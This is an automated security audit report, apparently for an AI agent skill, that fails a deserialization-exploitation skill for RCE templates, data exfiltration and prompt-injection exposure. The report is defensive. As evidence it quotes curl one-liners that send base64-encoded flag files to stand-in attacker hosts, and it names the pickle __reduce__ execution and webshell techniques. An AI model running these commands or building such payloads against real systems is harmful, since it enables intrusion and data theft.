deserialization-methodology
Fail
Audited by Gen Agent Trust Hub on Sep 23, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONDATA_EXFILTRATIONDYNAMIC_EXECUTIONINDIRECT_PROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides numerous pre-defined templates and methodologies for achieving remote code execution via Python Pickle, PHP unserialize, and .NET BinaryFormatter/ViewState.
- Evidence:
references/pickle-payload-templates.mdcontains multiple templates usingsubprocess.check_output,os.system, andevalinside__reduce__methods to execute shell commands upon deserialization. - [DATA_EXFILTRATION]: The skill explicitly instructs the agent to exfiltrate sensitive data (specifically system flags) to external attacker-controlled domains via HTTP and DNS out-of-band channels.
- Evidence:
SKILL.md(Phase 2 & 4) andreferences/blind-exploitation.mdprovide payloads such ascurl http://attacker/?d=$(cat /flag|base64)andcurl http://YOUR_SERVER/$(cat /flag.txt | base64)to send sensitive information to non-whitelisted domains. - [DYNAMIC_EXECUTION]: The skill generates executable serialized payloads and shell commands at runtime to bypass security filters and execute arbitrary code on target systems.
- Evidence:
references/pickle-payload-templates.mdandreferences/php-deserialization.mdprovide scripts and tool commands (e.g.,phpggc) intended to be executed to generate malicious objects on the fly. - [COMMAND_EXECUTION]: The methodology relies on high-risk system commands and Python/PHP built-in functions to perform file operations, network requests, and system manipulation.
- Evidence: Extensive use of
os.system,subprocess.check_output,exec, and PHP'sfile_put_contentsfor writing webshells or reading flags. - [INDIRECT_PROMPT_INJECTION]: The skill creates a significant attack surface by instructing the agent to ingest and process untrusted external data that can contain embedded malicious instructions.
- Ingestion points: The skill instructs the agent to read and process data from HTTP
Cookievalues,POSTbodies, hidden form fields, and API parameters (SKILL.mdPhase 1). - Boundary markers: Absent; there are no instructions provided to distinguish between legitimate data and injected malicious instructions within these inputs.
- Capability inventory: The skill utilizes powerful system capabilities including
os.system,subprocess,eval,exec, and raw network requests viacurlandurllib.request(references/pickle-payload-templates.md). - Sanitization: Absent; the provided methodology assumes direct processing of raw serialized objects without validation or filtering.
Recommendations
- AI detected serious security threats
Audit Metadata